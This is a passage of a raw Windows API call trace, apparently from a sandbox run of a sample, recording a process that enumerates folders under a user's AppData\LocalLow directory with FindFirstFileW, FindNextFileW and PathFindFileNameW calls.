HALPmcxz\\" [0127.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.045] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.046] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.046] PathFindFileNameW (pszPath="") returned="" [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.046] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.046] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.046] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x38) returned 0x306c8e0 [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30752d0 [0127.046] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0127.046] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.046] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0127.046] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0127.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0127.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.047] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.047] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.047] PathFindFileNameW (pszPath="") returned="" [0127.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.048] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.048] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0127.048] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0127.048] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0127.048] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.048] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.048] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0127.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.048] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.049] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.049] PathFindFileNameW (pszPath="") returned="" [0127.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.050] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.050] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.050] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.050] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.050] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0127.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.051] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.051] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.051] PathFindFileNameW (pszPath="") returned="" [0127.051] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.051] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.051] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.051] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.051] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.051] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0127.051] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.052] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.052] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.052] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.052] PathFindFileNameW (pszPath="") returned="" [0127.052] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.053] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.053] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.053] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.053] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.053] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0127.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.053] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.053] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.053] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.053] PathFindFileNameW (pszPath="") returned="" [0127.053] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.053] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.054] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.054] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.054] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.054] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0127.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.054] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.054] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.054] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.054] PathFindFileNameW (pszPath="") returned="" [0127.054] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.055] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.055] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0127.055] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0127.055] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0127.055] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.055] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.055] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0127.055] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0127.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.056] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.056] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.056] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.056] PathFindFileNameW (pszPath="") returned="" [0127.056] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.057] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, 